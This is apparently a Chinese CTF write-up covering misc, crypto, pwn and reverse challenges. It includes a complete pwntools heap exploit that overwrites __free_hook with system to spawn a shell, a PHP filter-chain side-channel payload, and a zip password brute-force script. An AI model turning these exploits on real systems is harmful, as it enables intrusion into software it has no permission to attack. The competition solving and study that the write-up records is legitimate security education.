276 POP_JUMP_FORWARD_IF_FALSE 43 (to 364)

33 278 PUSH_NULL
280 LOAD_NAME 9 (sm4_encode)
282 LOAD_NAME 7 (key)
284 LOAD_NAME 5 (flag)
286 PRECALL 2
290 CALL 2
300 LOAD_METHOD 11 (hex)
322 PRECALL 0
326 CALL 0
336 STORE_NAME 12 (encrypted_data)

34 338 PUSH_NULL
340 LOAD_NAME 6 (print)
342 LOAD_NAME 12 (encrypted_data)
344 PRECALL 1
348 CALL 1
358 POP_TOP
360 LOAD_CONST 2 (None)
362 RETURN_VALUE

32 >> 364 LOAD_CONST 2 (None)
366 RETURN_VALUE

Disassembly of <code object key_encode at 0x14e048a00, file "make.py", line 10>:
10 0 RESUME 0

11 2 LOAD_GLOBAL 1 (NULL + list)
14 LOAD_FAST 0 (key)
16 PRECALL 1
20 CALL 1
30 STORE_FAST 1 (magic_key)

12 32 LOAD_GLOBAL 3 (NULL + range)
44 LOAD_CONST 1 (1)
46 LOAD_GLOBAL 5 (NULL + len)
58 LOAD_FAST 1 (magic_key)
60 PRECALL 1
64 CALL 1
74 PRECALL 2
78 CALL 2
88 GET_ITER
>> 90 FOR_ITER 105 (to 302)
92 STORE_FAST 2 (i)

13 94 LOAD_GLOBAL 7 (NULL + str)
106 LOAD_GLOBAL 9 (NULL + hex)
118 LOAD_GLOBAL 11 (NULL + int)
130 LOAD_CONST 2 ('0x')
132 LOAD_FAST 1 (magic_key)
134 LOAD_FAST 2 (i)
136 BINARY_SUBSCR
146 BINARY_OP 0 (+)
150 LOAD_CONST 3 (16)
152 PRECALL 2
156 CALL 2
166 LOAD_GLOBAL 11 (NULL + int)
178 LOAD_CONST 2 ('0x')
180 LOAD_FAST 1 (magic_key)
182 LOAD_FAST 2 (i)
184 LOAD_CONST 1 (1)
186 BINARY_OP 10 (-)
190 BINARY_SUBSCR
200 BINARY_OP 0 (+)
204 LOAD_CONST 3 (16)
206 PRECALL 2
210 CALL 2
220 BINARY_OP 12 (^)
224 PRECALL 1
228 CALL 1
238 PRECALL 1
242 CALL 1
252 LOAD_METHOD 6 (replace)
274 LOAD_CONST 2 ('0x')
276 LOAD_CONST 4 ('')
278 PRECALL 2
282 CALL 2
292 LOAD_FAST 1 (magic_key)
294 LOAD_FAST 2 (i)
296 STORE_SUBSCR
300 JUMP_BACKWARD 106 (to 90)

15 >> 302 LOAD_GLOBAL 3 (NULL + range)
314 LOAD_CONST 5 (0)
316 LOAD_GLOBAL 5 (NULL + len)
328 LOAD_FAST 0 (key)
330 PRECALL 1
334 CALL 1
344 LOAD_CONST 6 (2)
346 PRECALL 3
350 CALL 3
360 GET_ITER
>> 362 FOR_ITER 105 (to 574)
364 STORE_FAST 2 (i)

16 366 LOAD_GLOBAL 7 (NULL + str)
378 LOAD_GLOBAL 9 (NULL + hex)
390 LOAD_GLOBAL 11 (NULL + int)
402 LOAD_CONST 2 ('0x')
404 LOAD_FAST 1 (magic_key)
406 LOAD_FAST 2 (i)
408 BINARY_SUBSCR
418 BINARY_OP 0 (+)
422 LOAD_CONST 3 (16)
424 PRECALL 2
428 CALL 2
438 LOAD_GLOBAL 11 (NULL + int)
450 LOAD_CONST 2 ('0x')
452 LOAD_FAST 1 (magic_key)
454 LOAD_FAST 2 (i)
456 LOAD_CONST 1 (1)
458 BINARY_OP 0 (+)
462 BINARY_SUBSCR
472 BINARY_OP 0 (+)
476 LOAD_CONST 3 (16)
478 PRECALL 2
482 CALL 2
492 BINARY_OP 12 (^)
496 PRECALL 1
500 CALL 1
510 PRECALL 1
514 CALL 1
524 LOAD_METHOD 6 (replace)
546 LOAD_CONST 2 ('0x')
548 LOAD_CONST 4 ('')
550 PRECALL 2
554 CALL 2
564 LOAD_FAST 1 (magic_key)
566 LOAD_FAST 2 (i)
568 STORE_SUBSCR
572 JUMP_BACKWARD 106 (to 362)

18 >> 574 LOAD_CONST 4 ('')
576 LOAD_METHOD 7 (join)
598 LOAD_FAST 1 (magic_key)
600 PRECALL 1
604 CALL 1
614 STORE_FAST 1 (magic_key)

19 616 LOAD_GLOBAL 17 (NULL + print)
628 LOAD_FAST 1 (magic_key)
630 PRECALL 1
634 CALL 1
644 POP_TOP

20 646 LOAD_GLOBAL 7 (NULL + str)
658 LOAD_GLOBAL 9 (NULL + hex)
670 LOAD_GLOBAL 11 (NULL + int)
682 LOAD_CONST 2 ('0x')
684 LOAD_FAST 1 (magic_key)
686 BINARY_OP 0 (+)
690 LOAD_CONST 3 (16)
692 PRECALL 2
696 CALL 2
706 LOAD_GLOBAL 11 (NULL + int)
718 LOAD_CONST 2 ('0x')
720 LOAD_FAST 0 (key)
722 BINARY_OP 0 (+)
726 LOAD_CONST 3 (16)
728 PRECALL 2
732 CALL 2
742 BINARY_OP 12 (^)
746 PRECALL 1
750 CALL 1
760 PRECALL 1
764 CALL 1
774 LOAD_METHOD 6 (replace)
796 LOAD_CONST 2 ('0x')
798 LOAD_CONST 4 ('')
800 PRECALL 2
804 CALL 2
814 STORE_FAST 3 (wdb_key)

21 816 LOAD_GLOBAL 17 (NULL + print)
828 LOAD_FAST 3 (wdb_key)
830 PRECALL 1
834 CALL 1
844 POP_TOP

22 846 LOAD_FAST 3 (wdb_key)
848 RETURN_VALUE

magic_key:7a107ecf29325423
encrypted_data:f2c85bd042247896b43345e589e3ad025fba1770e4ac0d274c1f7c2a670830379195aa5547d78bcee7ae649bc3b914da

得到SM4的密钥为:ada1e9136bb16171

最后CyberChef解一个SM4即可得到flag:wdflag{815ad4647b0b181b994eb4b731efa8a0}

image-20241104164658557

MISC03

打开pcap文件

上传一般是post uploads,查找到几个,有个 hacker.php

image-20241104162237268

Image

第一个IP就是

Image

wdflag{39.168.5.60}

MISC04

像素偏移

是2024IrisCTF的参考https://almostgph.github.io/2024/01/08/IrisCTF2024/脚本。

之前在某个群里好像有看到过类似的,感觉是希尔伯特-皮亚诺曲线

根据参考链接中的脚本复原一下图片

from PIL import Image            
from tqdm import tqdm
def peano(n):
if n == 0:
return [[0,0]]
else:
in_lst = peano(n - 1)
lst = in_lst.copy()
px,py = lst[-1]
lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + 1 + i[0], py - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px - i[0], py - 1 - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py - 1 - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + 1 + i[0], py + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
return lst
order = peano(6)
img = Image.open("./1.png")
width, height = img.size
block_width = width # // 3
block_height = height # // 3
new_image = Image.new("RGB", (width, height))
for i, (x, y) in tqdm(enumerate(order)):
# 根据列表顺序获取新的坐标
new_x, new_y = i % width, i // width
# 获取原图像素
pixel = img.getpixel((x, height - 1 - y))
# 在新图像中放置像素
new_image.putpixel((new_x, new_y), pixel)
new_image.save("rearranged_image.jpg")

image-20241104164800022

image-20241104164809903

复原后可以得到一个二维码,彩色的可能不好识别,分离一下通道,扫码即可得到flag:

wdflag{4940e8dc-5542-4eee-9243-202ae675d77f}

最后,有兴趣的师傅也可以尝试复原一下下面这张图片(感觉比上面的简单)

但是感觉可以帮助大家理解原理

image-20241104164830929

二、白虎组Misc

misc01

1、分析流量包

下载附件打开流量包,根据题目提示“将恶意报文中攻击者构造的teid按时间先后顺序进行拼接”

wireshark打开 搜索字符串 teid

Image

发现很多包含 teid 的包,需要工具 tshark.exe 读取 teid ,

然后导入表格种进行分析

2、导出teid数据

使用 tshark.exe 批量提取数据包的 teid 值

tshark.exe -r UPF.cap -T fields -e gtp.teid > teid.csv

Image

3、分析表格数据

直接对数据去重找到两个很可疑的,其他都是单个只有这俩是多个

image-20241104171645410

Image

查看 teid 值,发现有两行数据存在两条异常数据,初步判

断应该是这两行数据,16进制进制转换然后进行拼接

Image

拼接提交

wdflag{2235649299000124}

misc02

附件提供流量包和加密算法脚本

分析流量和脚本

可以借助大模型快速分析脚本

加密脚本分析

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import struct

def pad(text):
while len(text) % 16 != 0:
text += ' '
return text

def encrypt(key, plaintext):
key_bytes = struct.pack('>I', key)
key_bytes = key_bytes.ljust(16, b'\0')
cipher = Cipher(algorithms.AES(key_bytes), modes.ECB(), backend=default_backend())
encryptor = cipher.encryptor()
padded_plaintext = pad(plaintext).encode()
encrypted = encryptor.update(padded_plaintext) + encryptor.finalize()
return encrypted

if __name__ == "__main__":
key = 1
msg = "123"
print(encrypt(key,msg))

文件内容是一个 Python 脚本,包含了一个简单的 AES 加密函数。这个脚本定义了两个函数:pad 用于填充文本以确保其长度是 16 的倍数,encrypt 用于执行 AES 加密。在主程序部分,使用了一个密钥 key = 1 和一个消息 msg = "123" 来进行加密,并打印出加密后的结果。

AES 加密是一种广泛使用的对称加密算法,而 ECB(电子密码本模式)是其一种模式。然而,ECB 模式存在一些安全缺陷,例如它不能很好地隐藏数据模式,相同的输入块会生成相同的输出块,这可能会泄露信息。

分析流量包

Image

查看数据流

Image

分析密钥为:475070864,待解密消息为:4ff7909b1d1e3e1ef33dd958adf1f4fb25306274720f807c4252beaaa1fe31ad867ec46c1f48fa734de206574d3189f1

可以运用脚本进行计算

解密脚本

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import struct

def pad(text):
while len(text) % 16 != 0:
text += ' '
return text

def decrypt(key, ciphertext):
key_bytes = struct.pack('>I', key)
key_bytes = key_bytes.ljust(16, b'\0')
cipher = Cipher(algorithms.AES(key_bytes), modes.ECB(), backend=default_backend())
decryptor = cipher.decryptor()
decrypted = decryptor.update(ciphertext) + decryptor.finalize()
return decrypted.decode()

# Given key and ciphertext
key = 475070864
ciphertext = bytes.fromhex('4ff7909b1d1e3e1ef33dd958adf1f4fb25306274720f807c4252beaaa1fe31ad867ec46c1f48fa734de206574d3189f1')

# Decrypt the ciphertext
decrypted_message = decrypt(key, ciphertext)
decrypted_message

得出结果

Image

misc03

侧信道攻击,参考这篇文章https://boogipop.com/2023/05/08/Web%E4%BE%A7%E4%BF%A1%E9%81%93%E5%88%9D%E6%AD%A5%E8%AE%A4%E8%AF%86/#DownUnderCTF2022-minimal-php

接着用tshark工具将流量包中的value和对应状态码提取,在python中转成字典格式,替换原脚本的网页请求

并修改原脚本两处地方

blow_up_enc = join(*['convert.quoted-printable-encode'] * 3000)
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}'),

可以直接跑出flag

Image

Image

Image

misc04

不管他是什么,先拖入随波逐流]CTF编码工具

Image

有包含[随波逐流]CTF编码工具--文件---binwalk提取

Image

Image

2.png

Image

拖入[随波逐流]CTF编码工具:[随波逐流]CTF编码工具---图片---左右反转

Image

得到一半flag,再2个个压缩包里面都是2.png,只有文件夹中压缩包是11.png

Image

要密码,前面有个提示

comment: "!@#QQQ0010flag"

明显是要爆破

自己写一个字典

passlist=[]
for i in range(1000,10000):
passlist.append('!@#QQQ0010flag'+str(i))

with open(r'f:\temp\password.txt','w') as f:
for pas in passlist:
f.write(pas+'\n')

11.zip 拖入[随波逐流]CTF编码工具–密文区

password.txt拖入[随波逐流]CTF编码工具—-密钥区

[随波逐流]CTF编码工具--文件---zip密码字典爆破

Image

密码:!@#QQQ0010flag8456

Image

拖入[随波逐流]CTF编码工具

Image

又有包含

[随波逐流]CTF编码工具---文件---foremost提取

Image

Image

Image

很明显修改了宽高

居然没有能自动修改宽高,那只可能是CRC也被修改了

Image

计算实际的宽高

import struct
import zlib
import os

def calculate_crc(data, crc=None):
if crc is None:
crc = 0xffffffff
return zlib.crc32(data) & 0xffffffff

def brute_force_width_height(file_path, known_crc):
with open(file_path, 'rb') as f:
# 检查 PNG 文件头
signature = f.read(8)
if signature != b'\x89PNG\r\n\x1a\n':
print("这不是一个有效的 PNG 文件")
return None, None

# 读取 IHDR 块
chunk_length = struct.unpack('>I', f.read(4))[0]
if chunk_length != 13 or f.read(4) != b'IHDR':
print("IHDR 块不正确")
return None, None

# 读取宽度和高度
width, height = struct.unpack('>2I', f.read(8))

# 尝试不同的宽度和高度值,计算 CRC
for w in range(1, width + 1):
for h in range(1, height + 1):
# 构建 IHDR 块数据
ihdr_data = struct.pack('>2I5B', w, h, 8, 6, 0, 0, 0)
# 计算 CRC
crc = calculate_crc(b'IHDR' + ihdr_data)
if crc == known_crc:
print("找到匹配的宽高: 宽度 = %d, 高度 = %d" % (w, h))
return w, h

return None, None

# 使用示例
file_path = r'f:/temp/15.png' # 替换为你的 PNG 文件路径
known_crc = 0xd370e9a1 # 替换为你已知的 CRC 值
width, height = brute_force_width_height(file_path, known_crc)
if width and height:
print("实际宽度: %d, 实际高度: %d" % (width, height))

实际宽度: 620, 实际高度: 92

或者用 puzzlesolver 爆破宽高

得到一张png,拖到工具直接改宽高。

Image

[随波逐流]CTF编码工具--文件---2进制转16进制

Image

Image

将0320 012C改成026C 005C

Image

右键:导出为hex文件00000254-2.png

Image

Image

Image

wdflag{5fgh576eee739dh7u904bea4860s4eg5}

Crypto

CRYPTO01

解题思路

两个函数,P(x) = P * x,S(x) = A*x +b,

令 ,T = P^{-1}AP, U = P^{-1}b

则r = T{14}x+(T{13}+T{12}+...+I)U+(T{13}+T^{12}+...+I) P^{-1}k

因为flag头“wdflag{”7个字符,所以再爆破1个解上述方程,可得到列表keys,遍历keys后得到flag。

from Crypto.Util.number import * 

cipher_text = []
perm_indices = []
BLOCK_SIZE = 64
ROUNDS = 14

# Inverse permutation list
inverse_permutation = [perm_indices.index(i) for i in range(BLOCK_SIZE)]

# Constants for the mask and IV
MASK = 0b1110001001111001000110010000100010101111101100101110100001001001
IV = 7

# Helper functions
binary_to_integer = lambda bits: Integer(sum([bits[i] * 2**i for i in range(len(bits))]))

# Create the permutation matrix
P_matrix = matrix(GF(2), BLOCK_SIZE, BLOCK_SIZE)
for i, perm_index in enumerate(perm_indices):
P_matrix[i, perm_index] = 1

# Permutation function
def permute(x):
bit_x = x.bits()
if len(bit_x) < BLOCK_SIZE:
bit_x.extend([0] * (BLOCK_SIZE - len(bit_x)))
bit_x = P_matrix * vector(GF(2), bit_x)
return binary_to_integer(vector(ZZ, bit_x).list())

# Inverse permutation function
def inverse_permute(x):
bit_x = x.bits()
if len(bit_x) < BLOCK_SIZE:
bit_x.extend([0] * (BLOCK_SIZE - len(bit_x)))
bit_x = P_matrix.inverse() * vector(GF(2), bit_x)
return binary_to_integer(vector(ZZ, bit_x).list())

# Define matrix A and vector b based on IV and MASK
A_matrix = matrix(GF(2), BLOCK_SIZE, BLOCK_SIZE)
for i in range(BLOCK_SIZE):
A_matrix[i, i] = 1
for i in range(BLOCK_SIZE):
j = i - IV
if j >= 0:
A_matrix[i, j] = 1

b_vector = vector(GF(2), BLOCK_SIZE)
for i in range(BLOCK_SIZE):
if (MASK >> i) & 1:
b_vector[i] = 1

# Substitution function
def substitute(x):
bit_x = x.bits()
if len(bit_x) < BLOCK_SIZE:
bit_x.extend([0] * (BLOCK_SIZE - len(bit_x)))
bit_x = vector(GF(2), bit_x)
result = A_matrix * bit_x + b_vector
return binary_to_integer(vector(ZZ, result))

# Define matrix transformations for decryption
T_matrix = P_matrix.inverse() * A_matrix * P_matrix
U_vector = P_matrix.inverse() * b_vector
sum_T_matrix = sum(T_matrix**i for i in range(ROUNDS))

# Key recovery
recovered_keys = []
for i in range(1, 32):
cipher_bits = cipher_text[-1].bits()
while len(cipher_bits) != BLOCK_SIZE:
cipher_bits += [0]
cipher_bits = vector(GF(2), cipher_bits)

message_bytes = bytes([i]) * 8
message_bits = Integer(bytes_to_long(message_bytes)).bits()
while len(message_bits) != BLOCK_SIZE:
message_bits += [0]
message_bits = vector(GF(2), message_bits)

cipher_bits -= T_matrix**ROUNDS * message_bits
cipher_bits -= sum_T_matrix * U_vector
try:
P_inverse_key = sum_T_matrix.solve_right(cipher_bits)
key = P_matrix * P_inverse_key
recovered_key = sum([int(key[j]) * 2**j for j in range(len(key))])
recovered_keys.append(recovered_key)
except:
pass

# Decryption function
def decrypt_block(cipher_block, key):
cipher_bits = cipher_block.bits()
key_bits = key.bits()
while len(cipher_bits) != BLOCK_SIZE:
cipher_bits += [0]
while len(key_bits) != BLOCK_SIZE:
key_bits += [0]
cipher_bits = vector(GF(2), cipher_bits)
key_bits = vector(GF(2), key_bits)

cipher_bits -= sum_T_matrix * P_matrix.inverse() * key_bits
cipher_bits -= sum_T_matrix * U_vector
decrypted_bits = (T_matrix**ROUNDS).inverse() * cipher_bits
message_bytes = long_to_bytes(binary_to_integer(vector(ZZ, decrypted_bits)))
return message_bytes

# Attempt decryption with each recovered key
for key in recovered_keys:
decrypted_message = [decrypt_block(c, key) for c in cipher_text]
flag = b"".join(decrypted_message)
print(flag)

CRYPTO02

https://jayxv.github.io/2019/11/11/%E5%AF%86%E7%A0%81%E5%AD%A6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B9%8B%E6%B5%85%E6%9E%90Pollard's%20rho%20algorithm%E5%8F%8A%E5%85%B6%E5%BA%94%E7%94%A8/

根据文章套板子直接打

Exp:

import libnum
from Crypto.Util.number import *
e = 65537
n = 49025724928152491719950645039355675823887062840095001672970308684156817293484070166684235178364916522473822184239221170514602692903302575847326054102901449806271709230774063675539139201327878971370342483682454617270705142999317092151456200639975738970405158598235961567646064089356496022247689989925574384915789399433283855087561428970245448888799812611301566886173165074558800757040196846800189738355799057422298556992606146766063202605288257843684190291545600282197788724944382475099313284546776350595539129553760118549158103804149179701853798084612143809757187033897573787135477889183344944579834942896249251191453
with open("cipher.txt", "rb") as f:
c = f.read()
c = libnum.s2n(c)
def gcd(a, b):
while b:
a, b = b, a%b
return a
def mapx(x):
x=(pow(x,n-1,n)+3)%n
return x
def pollard_rho (x1,x2):
while True:
x1=mapx(x1)
x2=mapx(mapx(x2))
p=gcd(x1-x2,n)
if (p == n):
print("fail")
return
elif (p != 1):
q = n // p
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
print(long_to_bytes(pow(c, d, n)))
break
pollard_rho(1, 1)

Pwn

pwn01

Edit存在任意地址写\x00,可以利用堆块错位申请打free_hook为system,free进tcachebin中的堆块会残留出libc_base和堆地址。之后修改fd最后一个字节为\x00触发漏洞,攻击free_hook获取shell

Add show, free,edit三个功能函数,实际上edit只能用一次任意地址写

利用指针残留获得heap_base,libc_base

Edit攻击目标地址-3,完成\x00修改fd位

之后触发tcachebin的整理机制完成tcachebin attack的操作

from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')
def add(size,content):
rl("Input your choice")
sl(str(1))
rl("Size :")
sl(str(size))
rl("Content :")
s(content)
def free(i):
rl("Input your choice")
sl(str(2))
rl("Index :")
sl(str(i))
def show(i):
rl("Input your choice")
sl(str(4))
rl("Index :")
sl(str(i))
def edit(content):
rl("Input your choice")
sl(str(3))
rl("content :")
s(content)

add(0x98,b'a')
add(0x98,b'a')
add(0x98,b'a') #2
add(0x410,b'a')
add(0x98,b'a') #4

free(3)
add(0x410,b'a'*8) #5
show(5)
libc_base=get_addr()-2018272
li(hex(libc_base))
free_hook=libc_base+0x1eee48
system=libc_base+0x52290
free(5)

add(0x600,b'a') #6
add(0x410,b'a'*0x10) #7
show(7)
rl("a"*0x10)
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x470
li(hex(heap_base))

add(0x140,b'/bin/sh\x00') #8
add(0x98,b'a') #9
add(0xa8,b'a') #10
add(0x98,b'a') #11
add(0xa8,b'a') #12

free(11)
free(0)
free(12)
free(10)
edit(p64(heap_base+0x290+8+5))
add(0x98,b'a')
add(0x98,b'a'*0x38+p64(0xb1)+p64(free_hook))
add(0xa8,b'a')
add(0xa8,p64(system))

free(8)
p.sendline(b"cat flag")
#print(p.recvline())

inter()

Reverse

re01

打开so文件,发现JNI_Onload 无法正确F5

0x00000000001B4E0附近发现了间接跳转, 实际BR X8是跳转到下一条指令,所以这是花指令,直接NOP掉即可。

Image

除开这种指令以外,还发现了这种间接跳转,这也是花指令,需要NOP掉

Image

将上述字节全部替换完后,逆向发现

Image

init_array中hook了JNI_OnLoad,以及Hook了RegisterNative方法,使真正的native函数为sub_1A9A8

Image

Image

Image

Image

Image

Image

这个函数进行了魔改的AES操作,修改了Sbox。

然后将MixColumnShiftRows 交换了顺序

# print(key)
sbox = [0xED, 0xF6, 0xDC, 0x13, 0xA7, 0xB9, 0x3A, 0x75, 0x65, 0x45,
0xA5, 0x9A, 0x1B, 0xC3, 0xE5, 0xAF, 0xBB, 0x6F, 0xAC, 0x69,
0xF5, 0xB0, 0xE7, 0x8D, 0x9C, 0x55, 0x79, 0x24, 0xD5, 0xBD,
0x06, 0xD0, 0xA9, 0x9F, 0x52, 0x10, 0x83, 0x0A, 0x72, 0x19,
0x50, 0xF1, 0x5A, 0x99, 0x32, 0x73, 0x56, 0xCE, 0x2E, 0xD8,
0xCB, 0x07, 0x63, 0xB8, 0xA1, 0x70, 0xF9, 0xE1, 0x3E, 0xCF,
0xEB, 0xC2, 0xB3, 0xE8, 0xA0, 0x7F, 0xE0, 0xFD, 0x4F, 0x31,
0x87, 0xA2, 0x95, 0xAD, 0x47, 0x0F, 0x90, 0x1E, 0x18, 0x86,
0x0E, 0x27, 0x3C, 0x82, 0x1F, 0xFF, 0x17, 0x36, 0xBA, 0xF3,
0xC5, 0x54, 0x96, 0x29, 0x04, 0x2B, 0x67, 0x33, 0x0D, 0x42,
0xE9, 0xF2, 0x44, 0x0B, 0xEA, 0x51, 0xE3, 0x4D, 0xFC, 0x26,
0xC7, 0x7E, 0x74, 0x91, 0xE6, 0x7A, 0xD9, 0x16, 0x30, 0xA8,
0x57, 0x60, 0x8C, 0x21, 0x61, 0x5D, 0x76, 0x2F, 0x03, 0x64,
0xB2, 0xA6, 0x8A, 0x8F, 0xB7, 0xEC, 0x1A, 0x7C, 0x88, 0xAE,
0x39, 0xAA, 0x59, 0x66, 0x6D, 0x2A, 0xFA, 0x4A, 0x40, 0xC8,
0xC0, 0x12, 0x98, 0x4C, 0x85, 0x6A, 0x05, 0x23, 0xDA, 0x43,
0xD3, 0x84, 0x78, 0x3F, 0x6C, 0xD2, 0x6E, 0x68, 0x22, 0x9D,
0xF4, 0x58, 0xB6, 0xA3, 0x62, 0x4E, 0x34, 0xD7, 0xF0, 0x53,
0xB1, 0xC6, 0x77, 0x5F, 0x48, 0x7D, 0x5E, 0x08, 0xE2, 0x71,
0x11, 0xDB, 0xFE, 0x81, 0xCD, 0xF7, 0x15, 0xEF, 0x01, 0x9B,
0x3D, 0x28, 0xB4, 0x38, 0xBC, 0xD6, 0x41, 0x93, 0xDD, 0xBF,
0x09, 0x92, 0xEE, 0xCC, 0xE4, 0x14, 0x8E, 0x5B, 0xBE, 0x7B,
0x5C, 0xAB, 0x37, 0xDF, 0xFB, 0x6B, 0x2D, 0xC1, 0x8B, 0xC9,
0xD1, 0x80, 0x2C, 0x94, 0x00, 0x25, 0x35, 0x4B, 0xD4, 0x3B,
0x49, 0x02, 0xF8, 0xA4, 0x46, 0x1C, 0x89, 0x0C, 0x97, 0xDE,
0x20, 0xCA, 0x9E, 0x1D, 0xC4, 0xB5]
rsbox = [0] * 256
for i in range(256):
rsbox[sbox[i]] = i
print(rsbox)

C代码如下:

main.cpp

#include <stdio.h>
#include "aes.hpp"

uint8_t Buf[48] = { };//密文


int main()
{
uint8_t key[16] = {
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A,
0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10 };


AES_ctx aes_ctx;
// AES_init_ctx_iv(&aes_ctx, key, key);
// AES_CBC_encrypt_buffer(&aes_ctx, Buf, 48);
AES_init_ctx_iv(&aes_ctx, key, key);
AES_CBC_decrypt_buffer(&aes_ctx, Buf, 48);

printf("%s\n", Buf);


}

AES.cpp

/*

This is an implementation of the AES algorithm, specifically ECB, CTR and CBC mode.
Block size can be chosen in aes.h - available choices are AES128, AES192, AES256.

The implementation is verified against the test vectors in:
National Institute of Standards and Technology Special Publication 800-38A 2001 ED

ECB-AES128
----------

plain-text:
6bc1bee22e409f96e93d7e117393172a
ae2d8a571e03ac9c9eb76fac45af8e51
30c81c46a35ce411e5fbc1191a0a52ef
f69f2445df4f9b17ad2b417be66c3710

key:
2b7e151628aed2a6abf7158809cf4f3c

resulting cipher
3ad77bb40d7a3660a89ecaf32466ef97
f5d3d58503b9699de785895a96fdbaaf
43b1cd7f598ece23881b00e3ed030688
7b0c785e27e8ad3f8223207104725dd4


NOTE: String length must be evenly divisible by 16byte (str_len % 16 == 0)
You should pad the end of the string with zeros if this is not the case.
For AES192/256 the key size is proportionally larger.

*/


/*****************************************************************************/
/* Includes: */
/*****************************************************************************/
#include <string.h> // CBC mode, for memset
#include "aes.h"

#include <stdio.h>

/*****************************************************************************/
/* Defines: */
/*****************************************************************************/
// The number of columns comprising a state in AES. This is a constant in AES. Value=4
#define Nb 4

#if defined(AES256) && (AES256 == 1)
#define Nk 8
#define Nr 14
#elif defined(AES192) && (AES192 == 1)
#define Nk 6
#define Nr 12
#else
#define Nk 4 // The number of 32 bit words in a key.
#define Nr 10 // The number of rounds in AES Cipher.
#endif

// jcallan@github points out that declaring Multiply as a function
// reduces code size considerably with the Keil ARM compiler.
// See this link for more information: https://github.com/kokke/tiny-AES-C/pull/3
#ifndef MULTIPLY_AS_A_FUNCTION
#define MULTIPLY_AS_A_FUNCTION 0
#endif




/*****************************************************************************/
/* Private variables: */
/*****************************************************************************/
// state - array holding the intermediate results during decryption.
typedef uint8_t state_t[4][4];



// The lookup-tables are marked const so they can be placed in read-only storage instead of RAM
// The numbers below can be computed dynamically trading ROM for RAM -
// This can be useful in (embedded) bootloader applications, where ROM is often limited.
static const uint8_t sbox[256] = {
//0 1 2 3 4 5 6 7 8 9 A B C D E F
0xED, 0xF6, 0xDC, 0x13, 0xA7, 0xB9, 0x3A, 0x75, 0x65, 0x45,
0xA5, 0x9A, 0x1B, 0xC3, 0xE5, 0xAF, 0xBB, 0x6F, 0xAC, 0x69,
0xF5, 0xB0, 0xE7, 0x8D, 0x9C, 0x55, 0x79, 0x24, 0xD5, 0xBD,
0x06, 0xD0, 0xA9, 0x9F, 0x52, 0x10, 0x83, 0x0A, 0x72, 0x19,
0x50, 0xF1, 0x5A, 0x99, 0x32, 0x73, 0x56, 0xCE, 0x2E, 0xD8,
0xCB, 0x07, 0x63, 0xB8, 0xA1, 0x70, 0xF9, 0xE1, 0x3E, 0xCF,
0xEB, 0xC2, 0xB3, 0xE8, 0xA0, 0x7F, 0xE0, 0xFD, 0x4F, 0x31,
0x87, 0xA2, 0x95, 0xAD, 0x47, 0x0F, 0x90, 0x1E, 0x18, 0x86,
0x0E, 0x27, 0x3C, 0x82, 0x1F, 0xFF, 0x17, 0x36, 0xBA, 0xF3,
0xC5, 0x54, 0x96, 0x29, 0x04, 0x2B, 0x67, 0x33, 0x0D, 0x42,
0xE9, 0xF2, 0x44, 0x0B, 0xEA, 0x51, 0xE3, 0x4D, 0xFC, 0x26,
0xC7, 0x7E, 0x74, 0x91, 0xE6, 0x7A, 0xD9, 0x16, 0x30, 0xA8,
0x57, 0x60, 0x8C, 0x21, 0x61, 0x5D, 0x76, 0x2F, 0x03, 0x64,
0xB2, 0xA6, 0x8A, 0x8F, 0xB7, 0xEC, 0x1A, 0x7C, 0x88, 0xAE,
0x39, 0xAA, 0x59, 0x66, 0x6D, 0x2A, 0xFA, 0x4A, 0x40, 0xC8,
0xC0, 0x12, 0x98, 0x4C, 0x85, 0x6A, 0x05, 0x23, 0xDA, 0x43,
0xD3, 0x84, 0x78, 0x3F, 0x6C, 0xD2, 0x6E, 0x68, 0x22, 0x9D,
0xF4, 0x58, 0xB6, 0xA3, 0x62, 0x4E, 0x34, 0xD7, 0xF0, 0x53,
0xB1, 0xC6, 0x77, 0x5F, 0x48, 0x7D, 0x5E, 0x08, 0xE2, 0x71,
